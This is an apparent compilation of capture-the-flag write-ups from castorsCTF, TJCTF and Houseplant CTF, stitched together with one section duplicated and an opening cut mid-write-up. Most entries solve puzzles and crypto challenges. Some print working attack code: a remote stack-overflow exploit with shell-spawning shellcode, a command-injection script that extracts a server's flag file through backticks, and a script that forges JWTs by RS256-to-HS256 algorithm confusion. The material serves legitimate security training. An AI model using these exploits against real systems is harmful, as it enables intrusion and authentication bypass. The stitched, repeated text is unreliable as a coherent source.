But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# TJCTF 2020
## El Primo
> 60>> My friend just started playing Brawl Stars and he keeps raging because he can't beat [El Primo](primo)! Can you help him?> > `nc p1.tjctf.org 8011`>> Written by agcdragon
Tags: _pwn_ _x86_ _bof_ _remote-shell_ _gets_ _shellcode_
## Summary
32-bit stack overflow, shellcode, with a twist.
## Analysis
### Checksec
``` Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments```
Some mitigations. No GOTplay. ASLR enabled. Executable stack.
### Decompile with Ghidra

Direct and to the point. Line 15 leaks a stack address (`local_30`), and line 16 is yet another `gets` vulnerability.
So, just put 32 bytes of shellcode in `local_30` and then put the address of `local_30` as the return address, right? _Wrong._
Just before `main` ends `ESP` is set to what `ECX - 4` references. So, we'll have to set ECX as well, and fortunately it is popped off the stack. A stack we control thanks to the leak and `gets`:
``` 000106a8 8d 65 f8 LEA ESP=>local_10,[EBP + -0x8] 000106ab 59 POP ECX 000106ac 5b POP EBX 000106ad 5d POP EBP 000106ae 8d 61 fc LEA ESP,[ECX + -0x4] 000106b1 c3 RET```
`local_30` is `0x30` bytes above the return address:
``` undefined4 EAX:4 <RETURN> undefined1 Stack[0x4]:1 param_1 undefined4 Stack[0x0]:4 local_res0 undefined1 Stack[-0x10]:1 local_10 undefined1 Stack[-0x30]:1 local_30```
So, write out 32 or less bytes of shellcode to `local_30`, then pad with `A`, but leave the last 16 bytes for popping ECX, EBX, EBP, and RET. But all we really care about is setting ECX to point to the next line in the stack that contains the address of the leak.
## Exploit
```python#!/usr/bin/python3
from pwn import *
#p = process('./primo')p = remote('p1.tjctf.org', 8011)
binary = ELF('./primo')
p.recvuntil('hint: ')_ = p.recvline().strip()buf = int(_,16)print('buf:',hex(buf))
shellcode = b'\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00'
payload = shellcodepayload += (0x30 - len(shellcode) - 16) * b'A'payload += p32(buf + 0x30 - 8)payload += p32(buf)
p.sendline(payload)
p.interactive()```
Output:
```# ./exploit.py[+] Opening connection to p1.tjctf.org on port 8011: Done[*] '/pwd/datajerk/tjctf2020/primo/primo' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segmentsbuf: 0xffbfbb80[*] Switching to interactive mode$ cat flag.txttjctf{3L_PR1M0O0OOO!1!!}``` |
# QR Generator
## Description
> I was playing around with some stuff on my computer and found out that you can generate QR codes! I tried to make an online QR code generator, but it seems that's not working like it should be. Would you mind taking a look?>> http://challs.houseplant.riceteacatpanda.wtf:30004> > Hint! For some reason, my website isn't too fond of backticks...
## Solution
When we go to the website, we see a simple input line. When we enter something in it, we get back a QR code.

By reading the QR code, we remark that only the first letter is displayed in the QR code.
Using the hint, we also see that by giving backticks, we can execute commands. For instance, ``` `echo "hello"` ``` gives back the QR code displaying `h`. If an error occurs, we get a QR code displaying `error`.
Trying `cat flag.txt` does not produce an error and shows `r`, which is promising as the flag format is `rtcp{.*}`. We confirm that by leaking subsequent characters using:
```bashcat flag.txt | head -c {} | tail -c 1```
with `{}` a chosen number.
Finally, we automate the recovery with a script, which executes the GET requests, retrieves the QR codes and decrypts them.
```pythonimport requestsfrom PIL import Imageimport zbarlight
for i in range(1,100): param = {'text': "`cat flag.txt | head -c {} | tail -c 1`".format(i)} r = requests.get("http://challs.houseplant.riceteacatpanda.wtf:30004/qr", params=param)
with open("qrcode.jpg", "wb") as f: f.write(r.content)
with open("qrcode.jpg", 'rb') as image_file: image = Image.open(image_file) image.load()
codes = zbarlight.scan_codes(['qrcode'], image)[0] print(codes.decode()[0], end="")```
Flag: `rtcp{fl4gz_1n_qr_c0d3s???_b1c3fea}` |
# Crypto
## Goose ChaseChallange Description: ``` There's no stopping this crazy goose.+2 PNG File```Challange gives us two different .png files. Both have strange looked strip at the bottom. So using `stegsolve` to combine them. And it gives the flag.

## One Tricky PonyChallange Description: ```nc chals20.cybercastors.com 14422```
It returns hex values when entered random characters. Then try to enter some spaces in it. And then it gives ```b'CASTORSctf[K\x13\x13P\x7fY\x10UR\x7fK\x13Y\x15\x7f\x15\x13CR\x13\x17\x7f\x14ND\x7fD\x10N\x17\x7fR\x13U\x15\x13\x7f\x17H\x13M\x01]```
By using the [ASCII Table](https://bluesock.org/~willg/dev/ascii.html) and manually decode every hex value. And the flag is ``` castorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}```
## Magic School BusChallange Description:```nc chals20.cybercastors.com 14422Flag is slightly out of format. Add underscores and submit uppercase```There is two options. The second one gives the flag with changing the order and making them uppercase. This was the given flag:```SCNTGET0SKV3CTNESYS2ISL7AF4I0SC0COM5ORS31RR3AYN1```And in the first option it change the given letter to uppercase and if you write multiple characters it change the order. Need to find how it change the order. To find it gave it 46 char lenght of string that has not same char in it. ```Input:ABCDEFTGHIJKLMNOPRSTVYZXWQÖÇÜĞŞİ1234567890€₺½¾Output:TNZŞ7DKTÇ4½AHPW19CJSÖ3€BIRQ20GOİ8ELVÜ5¾FMYĞ6₺```Then check and note how it change the order by each index. Then apply by reversely on the given flag.The flag is:```CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}```
## Two PathChallange Description:```The flag is somewhere in these woods, but which path should you take?```
Using ```strings``` on the image and it gives us a binary.
```01101000 01110100 01110100 01110000 01110011 00111010 00101111 00101111 01100111 01101111 00101110 01100001 01110111 01110011 00101111 00110010 01111010 01110101 01000011 01000110 01000011 01110000 ```When decode it gaves this link:```https://go.aws/2zuCFCp```Where we can find a lot of random emojies like:```♈♓♒??♉❌?♏♉❌⏺♓♒♊!_⏺?_?♓?_♈♉♒_?✖♉⛎_❌⏫⏺♊,_❌⏫✖♒_?♓?_⏫♉➗✖_♊♓♏➗✖⛎_❌⏫✖_♈⏺♑⏫✖?!_?✖_➿?♊❌_⏫♓♑✖_?♓?_?♓?♒⛎_♉_Ⓜ♓?✖_✖??⏺♈⏺✖♒❌_?♉?_?♓?_⛎✖♈⏺♑⏫✖```Need to decode this but to decode it we need more. So return to the image and ```stegsolve``` on it. When we change the color settings the hidden link appear in the left bottom corner. The page is named ```decode-this``` .```https://go.aws/2X1R6H7```In this link there is a chat between two people. One is texting and other only using emojies. Guessed some of the words that the second person said eg. ```hi! ``` and ```you?```. By using these letters found all alphabet in emojies. ```♉: A♌: B♈: C⛎: D✖ : E?: F?: G⏫: H⏺: I?: K♏: LⓂ: M♒: N♓: O♑: P?: R♊: S❌: T?: U?: Y?: Z?: W?: X``` Then search castorsCTF by using emoji alpahbet in the ```decode-this``` website. The flag is:```castorsCTF{sancocho_flag_qjzmlpg}```
## Jigglypuff's SongChallange Description:```Can you hear Jigglypuff's song?```
Use ```stegsolve``` on it and and then do ```data analyze``` on it with cheking only the RGB 7 boxes. The flas is in the text. ```castorsCTF{r1ck_ r0ll_w1lln3v3r d3s3rt_y0uuuu}```
## AmazonChallange Description:```Are you watching the new series on Amazon?198 291 575 812 1221 1482 1955 1273 1932 2030 3813 2886 1968 4085 3243 5830 5900 5795 5628 3408 7300 4108 10043 8455 6790 4848 11742 10165 8284 5424 14986 6681 13015 10147 7897 14345 13816 8313 18370 8304 19690 22625```Description gaves two hints. One is ```prime``` other is ```series```. Write a script to divide every number to the prime number which has the same index.
```pythonimport string
numbers = ['198', '291', '575', '812', '1221', '1482', '1955', '1273', '1932', '2030', '3813', '2886', '1968', '4085', '3243', '5830', '5900', '5795', '5628', '3408', '7300', '4108', '10043', '8455', '6790', '4848', '11742', '10165', '8284', '5424', '14986', '6681', '13015', '10147', '7897', '14345', '13816', '8313', '18370', '8304', '19690', '22625']
primes = ["2","3","5","7", "11","13","17","19", "23","29","31","37", "41","43","47","53", "59","61","67","71", "73","79","83","89", "97","101","103","107", "109","113","127","131", "137","139","149","151", "157","163","167","173", "179","181"]
parts = []
for i in range(len(numbers)): parts.append(int(numbers[i]) // int(primes[i]))
flag = ""for part in parts: print(chr(part), end="")```And the flag is:```castorsCTF{N0_End_T0d4y_F0r_L0v3_I5_X3n0n}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb## 0x101 DalmatiansChallange Description:```Response to Amazon: Nah, I only need to be able to watch 101 Dalmatians.
c6 22 3d 29 c1 c5 9c f5 85 e7 d7 0e 46 e6 21 e7 dd 8d db 43 a0 34 77 04 7f 32 13 8c c9 01 65 78 5f c0 14 8e 33 bf bc 02 21 79 e1 5d d3 46 e0 ca ee 72 c2 26 38```Challange says it response to Amazon so it should be again about prime series.
```pythonprimes = ["2","3","5","7","11","13","17","19","23","29","31","37","41","43","47","53","59","61","67","71","73","79","83","89","97","101","103","107","109","113","127","131","137","139","149","151","157","163","167","173","179","181","191","193","197","199","211","223","227","229","233","239","241","251","257"]
all_ct = "198 34 61 41 193 197 156 245 133 231 215 14 70 230 33 231 221 141 219 67 160 52 119 4 127 50 19 140 201 1 101 120 95 192 20 142 51 191 188 2 33 121 225 93 211 70 224 202 238 114 194 38 56".split()
alphabet = ["}","{","c","w","e","r","t","y","u","ı","o","p","a","s","d","f","g","h","j","k","l","i","z","x","q","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M","_","1","2","3","4","5","6","7","8","9","0"]
prime = primes[0]mod = 0x101
def bf(): for i in range(53): ct = all_ct[i] for b in primes: for u in alphabet: if ord(u) * int(b) % mod == int(ct): if primes.index(b) == i: print(u, end="") bf()```Output:```castorsCTF{1f_y0u_g07_th1s_w1th0u7_4ny_h1n7s_r3sp3c7}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb |
#Spilled Milk### 50 Pointsoh no! i'm so clumsy, i spilled my glass of milk! can you please help me clean up?
spilled_milk.png (9ac853b9527a08919f9c94172074a69d)### Solution:### Flag:
# Zip-a-Dee-Doo-Dah### 129 PointsI zipped the file a bit too many times it seems... and I may have added passwords to some of the zip files... eh, they should be pretty common passwords right?
Hint! A script will help you with this, please don't try do this manually...Hint! All passwords should be in the SecLists/Passwords/xato-net-10-million-passwords-100.txt file, which you can get here : https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-100.txtor alternatively, use "git clone https://github.com/danielmiessler/SecLists"
1819.gz (2c1ce0c0f7efb5ddfac82390aeada827)### Solution:This one was a bunch of nested archives of differing formats. Zips being password encoded. So I scripted this and used `fcrackzip` with the provided password list to handle password cracking.
```bash#!/bin/bash
while [ true ]do file=`ls -1| grep -v *.sh | grep -v txt`
echo "Runnin on $file" if [ `file $file | grep -c tar` -gt 0 ] then tar xvf $file rm $file elif [ `file $file | grep -c gzip` -gt 0 ] then if [ "{${file##*.}}" != "{gz}" ] then mv $file "${file}.gz" file="${file}.gz" fi gunzip $file elif [ `file $file | grep -c 'Zip archive'` -gt 0 ] then for pass in $(fcrackzip -D -p words.txt $file | cut -d ' ' -f 4) do echo "Trying $pass" unzip -o -P $pass $file if [ $? -eq 0 ] then echo "Success" rm $file continue fi done fidone```
### Flag:rtcp{z1pPeD_4_c0uPl3_t00_M4Ny_t1m3s_a1b8c687}
# Music Lab### 207 PointsDo you like my song? ♪
masterpiece.mid (3cf79ff90abc4eb76f22f33adf636189)### Solution:I just opened this one up in Audacity and the flag was written out in the notes. The most frustrating part of this one was figuring out which character to use in the flag.
### Flag:rtcp{MOZ4rt_WOuld_b3_proud}
# Satan's Jigsaw### 704 PointsOh no! I dropped my pixels on the floor and they're all muddled up! It's going to take me years to sort all 90,000 of these again :(
Hint! long_to_bytes
chall.7z (a9bd676256e2cf8a5ca893a9928aaa16)### Solution:The provided 7z file contained a bunch of images with long numerical filenames. The hint made it obvious that you needed to use long_to_bytes on those. The resulting string were two integers.
Each image was a single pixel, so it became obvious that we just had to place each pixel at the coordinates listed, so I wrote a python script using PIL.```from Crypto.Util.number import long_to_bytesimport osfrom PIL import Image, ImageDraw
mapping={}max_x = 0max_y = 0
# Map image to posfor filename in os.listdir('./'): if filename.endswith('.jpg'): pos = long_to_bytes(filename.replace('.jpg','')) mapping[filename] = [int(pos.split(" ")[0]), int(pos.split(" ")[1])]
# Find max x and yfor pos in mapping.items(): print pos[1] if pos[1][0] > max_x: max_x = pos[1][0] if pos[1][1] > max_y: max_y = pos[1][1]
# Create the new imageimg = Image.new('RGB',(max_x,max_y), color=0)for image in mapping: x = mapping[image][0] y = mapping[image][1] im = Image.open(image) region = im.crop((0,0,1,1)) img.paste(region,(x,y,x+1,y+1))
img.save('test.png')
```
That resulted in this image

One of those QR codes is a rickroll, the other is the flag!
### Flag:rtcp{d1d-you_d0_7his_by_h4nd?}
# I only see in cubes### 1,547 PointsSOLVEDOh no! Jubie's been travelling through distant lands and she lost her books! She'd put so much work into writing them, it'd be a shame if they were lost forever. You never know, you might be rewarded if you find them...
Hint! You don't need to own a copy of Minecraft to solve this challenge. You also don't need to pirate a copy of Minecraft to solve this challenge. Piracy bad.
I only see in cubes rezip.7z (c1450ca404a110f66dea46bb70f0265a)### Solution:They made it pretty clear the files here were for minecraft, so I looked into how those files work. That lead me to some tools that can be used to read them, including [NBTExplorer](https://github.com/jaquadro/NBTExplorer), which can be used to crawl through these files.
The zip had some weirdness where it tried to overwrite files on unpacking. Strange. So initially I let it do that.
Poking manually through the files I found one book in the player's inventory which showed me that the books would have an ID of `minecraft:written_book`. So I searched for that in the rest of the files and initially I could only find two parts on the flag.
So I went back and unzipped the package again, but didn't allow the overwrite this time. The first part of the flag was in that set of files.
### Flag:??? |
# Crypto
## Goose ChaseChallange Description: ``` There's no stopping this crazy goose.+2 PNG File```Challange gives us two different .png files. Both have strange looked strip at the bottom. So using `stegsolve` to combine them. And it gives the flag.

## One Tricky PonyChallange Description: ```nc chals20.cybercastors.com 14422```
It returns hex values when entered random characters. Then try to enter some spaces in it. And then it gives ```b'CASTORSctf[K\x13\x13P\x7fY\x10UR\x7fK\x13Y\x15\x7f\x15\x13CR\x13\x17\x7f\x14ND\x7fD\x10N\x17\x7fR\x13U\x15\x13\x7f\x17H\x13M\x01]```
By using the [ASCII Table](https://bluesock.org/~willg/dev/ascii.html) and manually decode every hex value. And the flag is ``` castorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}```
## Magic School BusChallange Description:```nc chals20.cybercastors.com 14422Flag is slightly out of format. Add underscores and submit uppercase```There is two options. The second one gives the flag with changing the order and making them uppercase. This was the given flag:```SCNTGET0SKV3CTNESYS2ISL7AF4I0SC0COM5ORS31RR3AYN1```And in the first option it change the given letter to uppercase and if you write multiple characters it change the order. Need to find how it change the order. To find it gave it 46 char lenght of string that has not same char in it. ```Input:ABCDEFTGHIJKLMNOPRSTVYZXWQÖÇÜĞŞİ1234567890€₺½¾Output:TNZŞ7DKTÇ4½AHPW19CJSÖ3€BIRQ20GOİ8ELVÜ5¾FMYĞ6₺```Then check and note how it change the order by each index. Then apply by reversely on the given flag.The flag is:```CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}```
## Two PathChallange Description:```The flag is somewhere in these woods, but which path should you take?```
Using ```strings``` on the image and it gives us a binary.
```01101000 01110100 01110100 01110000 01110011 00111010 00101111 00101111 01100111 01101111 00101110 01100001 01110111 01110011 00101111 00110010 01111010 01110101 01000011 01000110 01000011 01110000 ```When decode it gaves this link:```https://go.aws/2zuCFCp```Where we can find a lot of random emojies like:```♈♓♒??♉❌?♏♉❌⏺♓♒♊!_⏺?_?♓?_♈♉♒_?✖♉⛎_❌⏫⏺♊,_❌⏫✖♒_?♓?_⏫♉➗✖_♊♓♏➗✖⛎_❌⏫✖_♈⏺♑⏫✖?!_?✖_➿?♊❌_⏫♓♑✖_?♓?_?♓?♒⛎_♉_Ⓜ♓?✖_✖??⏺♈⏺✖♒❌_?♉?_?♓?_⛎✖♈⏺♑⏫✖```Need to decode this but to decode it we need more. So return to the image and ```stegsolve``` on it. When we change the color settings the hidden link appear in the left bottom corner. The page is named ```decode-this``` .```https://go.aws/2X1R6H7```In this link there is a chat between two people. One is texting and other only using emojies. Guessed some of the words that the second person said eg. ```hi! ``` and ```you?```. By using these letters found all alphabet in emojies. ```♉: A♌: B♈: C⛎: D✖ : E?: F?: G⏫: H⏺: I?: K♏: LⓂ: M♒: N♓: O♑: P?: R♊: S❌: T?: U?: Y?: Z?: W?: X``` Then search castorsCTF by using emoji alpahbet in the ```decode-this``` website. The flag is:```castorsCTF{sancocho_flag_qjzmlpg}```
## Jigglypuff's SongChallange Description:```Can you hear Jigglypuff's song?```
Use ```stegsolve``` on it and and then do ```data analyze``` on it with cheking only the RGB 7 boxes. The flas is in the text. ```castorsCTF{r1ck_ r0ll_w1lln3v3r d3s3rt_y0uuuu}```
## AmazonChallange Description:```Are you watching the new series on Amazon?198 291 575 812 1221 1482 1955 1273 1932 2030 3813 2886 1968 4085 3243 5830 5900 5795 5628 3408 7300 4108 10043 8455 6790 4848 11742 10165 8284 5424 14986 6681 13015 10147 7897 14345 13816 8313 18370 8304 19690 22625```Description gaves two hints. One is ```prime``` other is ```series```. Write a script to divide every number to the prime number which has the same index.
```pythonimport string
numbers = ['198', '291', '575', '812', '1221', '1482', '1955', '1273', '1932', '2030', '3813', '2886', '1968', '4085', '3243', '5830', '5900', '5795', '5628', '3408', '7300', '4108', '10043', '8455', '6790', '4848', '11742', '10165', '8284', '5424', '14986', '6681', '13015', '10147', '7897', '14345', '13816', '8313', '18370', '8304', '19690', '22625']
primes = ["2","3","5","7", "11","13","17","19", "23","29","31","37", "41","43","47","53", "59","61","67","71", "73","79","83","89", "97","101","103","107", "109","113","127","131", "137","139","149","151", "157","163","167","173", "179","181"]
parts = []
for i in range(len(numbers)): parts.append(int(numbers[i]) // int(primes[i]))
flag = ""for part in parts: print(chr(part), end="")```And the flag is:```castorsCTF{N0_End_T0d4y_F0r_L0v3_I5_X3n0n}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb## 0x101 DalmatiansChallange Description:```Response to Amazon: Nah, I only need to be able to watch 101 Dalmatians.
c6 22 3d 29 c1 c5 9c f5 85 e7 d7 0e 46 e6 21 e7 dd 8d db 43 a0 34 77 04 7f 32 13 8c c9 01 65 78 5f c0 14 8e 33 bf bc 02 21 79 e1 5d d3 46 e0 ca ee 72 c2 26 38```Challange says it response to Amazon so it should be again about prime series.
```pythonprimes = ["2","3","5","7","11","13","17","19","23","29","31","37","41","43","47","53","59","61","67","71","73","79","83","89","97","101","103","107","109","113","127","131","137","139","149","151","157","163","167","173","179","181","191","193","197","199","211","223","227","229","233","239","241","251","257"]
all_ct = "198 34 61 41 193 197 156 245 133 231 215 14 70 230 33 231 221 141 219 67 160 52 119 4 127 50 19 140 201 1 101 120 95 192 20 142 51 191 188 2 33 121 225 93 211 70 224 202 238 114 194 38 56".split()
alphabet = ["}","{","c","w","e","r","t","y","u","ı","o","p","a","s","d","f","g","h","j","k","l","i","z","x","q","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M","_","1","2","3","4","5","6","7","8","9","0"]
prime = primes[0]mod = 0x101
def bf(): for i in range(53): ct = all_ct[i] for b in primes: for u in alphabet: if ord(u) * int(b) % mod == int(ct): if primes.index(b) == i: print(u, end="") bf()```Output:```castorsCTF{1f_y0u_g07_th1s_w1th0u7_4ny_h1n7s_r3sp3c7}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb |
# Moar Horse 41. Intro2. Our brand new racing horse3. Allow our horse to compete
## IntroIn this challenge, the goal is to win a race against MechaOmkar-YG6BPRJM, the most powerful horse of the world.
For this, we have the python script of the server, we can see how the races are done, and how a horse can win.
We also can see that the system use JSON Web Token, signed with RSA and strong keys, so we need a way to bypass it.
in a first time, let's focus on the horse, and in a second time on the way to let him compete
## Our brand new racing horse
In the code, we can find the way the speed and teh result of the race is calculated :

To calculate the speed of a horse, it take "Horse\_" + the name of the horse and hash it using md5, and convert this hexadecimal number and convert it in an integer.
The md5 hash of Horse_MechaOmkar-YG6BPRJM is `fffffe21758bb7cc0b59ffc49ebd5490`
We need a horse which have a hash greater than `fffffe21758bb7cc0b59ffc49ebd5490`
Let's make a small python program which do it for us :
```python import hashlib
ttry = 0 #number of trytext = ""hash = "0"
while int(hash, 16) < int("fffffe21758bb7cc0b59ffc49ebd5490", 16): ttry += 1 text = "Horse_nhy_" + str(ttry) hash = hashlib.md5((text).encode()).hexdigest()
print(ttry)print(text)print(hash)```
The result is
```text9700705Horse_nhy_9700705fffffff7510dfd376b3ea185b6a10959```
Say hello to my 7f horse named "nhy_9700705" !
## Allow our horse to competeThe most difficult part. How to add our horse in a race ?
First, let's buy a Horse, because we have money to, and try to do a race.
We can see the url for a race is `https://moar_horse.tjctf.org/do_race?horse=horseName`
Let's try `https://moar_horse.tjctf.org/do_race?horse=nhy_9700705` :

Yes, of course, too easy.
let's have a look to the cookies :
We find something named `token`

Copy paste the content in [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=ZXlKMGVYQWlPaUpLVjFRaUxDSmhiR2NpT2lKU1V6STFOaUo5LmV5SjFjMlZ5SWpwMGNuVmxMQ0pwYzE5dmJXdGhjaUk2Wm1Gc2MyVXNJbTF2Ym1WNUlqb3dMQ0pvYjNKelpYTWlPbHNpVG05aGFDSmRmUS5oU3lKS2hUTWp2dlFjeTlzWTlMaHhlS2ZSVXJ4SFdYMVJCOE5qLVVPc29haGlydzF4WnU2c3M3d3pRZC1OaE1QQ19NSF9sZWRTODdwNGhWVjlneXRrcDZBS29GMllQQnJrM2VCRjNibDA5YnB0bEs5eEw5eFdTN3JscnFZR0I5Nk5qYUExV0Qzelg1SGI1dGNKenJ5OHpXTlhTRkNKSzZBUXhTNmw5c2EwemRGUWpRVEgzZnhtRnZzc2pIZTQ4R0dQVmstcWRBN0ZiY1VHMDdEaF9LUEMxeVdmQXU2eWMwbEt4ZUZ4RWVKREVaeFJYSnJOWlNsY0x3Z0RIdDRHOEpWT2lHZFdCeEZ4X0c4VktNaE9ZX3JzbzRTN2VUWkFZbENRUzVITFgwajVJUUJPRFN0TU9zREgtNWo1UmM2RUhrSjM1c3dPM1JGeS15eUIwZ24ySS1BMDE4M3EyUzdpeWxhQU82UjhFMk5qLWd2ZU0zU2RpU29GenNYS2ZfQ192ek1pOG9vZ0lSRnFJZ04wa1lLeG01b1pCTXBDQURodDJJVkNNUkRySnhicEgySjBycFNhc0F6X0I5VFM4UzFYb3FpYUFPT2FsazlqVnd5ejFWcjFGS3JuYmZXYjZrNDUzZnhnYjNKWFcwTnJNZUVqQ3NVbk5QMk1rUy1LRnRYQVp6MHRFZXZTS1hVaFVIcTBwUGFZckhZQ043aTZQZ0RhNUF5T3l0ZTl2d1pkYTJlNXpRWWxqeEwwQXltRU9xOTlSMUdsSFpoWlduYmt3YmtQSjBEYnlSTDYzSjNreUNVbkJWSVp1eHRqMThDNFZTb29IODJEOFVoc3l4NWVhM0NDZWJVVjNwcThiZVdXWFZCMzd1Qk94aW9UbTVwVmVCMGQzUndRTmx6bVdRYjFxUQ) and use From base64

We can find some readable data.
```text"typ":"JWT" => This token is a JWT (JSON Web Token)
"alg":"RS256" => This token is secured using RSA, and we only have the public key, in the challenge folder.```
So we need to find a way to sign the token without the private key.
And at this moment i found [this](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)
To sum up, it says that there's two way to authentificate the tokens : RSA (with two keys, one private and one public) and HMAC (only one key, private)
The method used is in "alg":something
The library used in the server script just follow the method written in "alg", it doesn't check if it's RSA.
So we just have to create a token, using HMAC, and using the public key as the key, because the script will use it to verify the token.

The python script to generate the token :
```pythonimport jsonimport jwtjwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key : jwt.utils.force_bytes(key)
with open(r"F:\CTF\TJCTF\web\horse (jwt)\pubkey.pem", "rb") as file: PUBLIC_KEY = file.read()#print(PUBLIC_KEY)
data = { "user": True, "is_omkar": False, "money": 100, "horses": ["nhy_9700705"] }
token = jwt.encode(data, PUBLIC_KEY, "HS256")print("token : ")print(token)```
Output :
```texttoken : b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjoxMDAsImhvcnNlcyI6WyJuaHlfOTcwMDcwNSJdfQ.FePBRUPwj4co2d8_7AAg_NYkkhBM7-hlsJTwUOQBepk'```
Copy Paste the new token into the browser, reload, and you have a brand new horse !

Now Race!

Got it!
`Flag : tjctf{w0www_y0ur_h0rs3_is_f444ST!}`
-----
*If you have any question or feedback, feel free to send me a message on Discord, nhy47paulo#3590* |
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
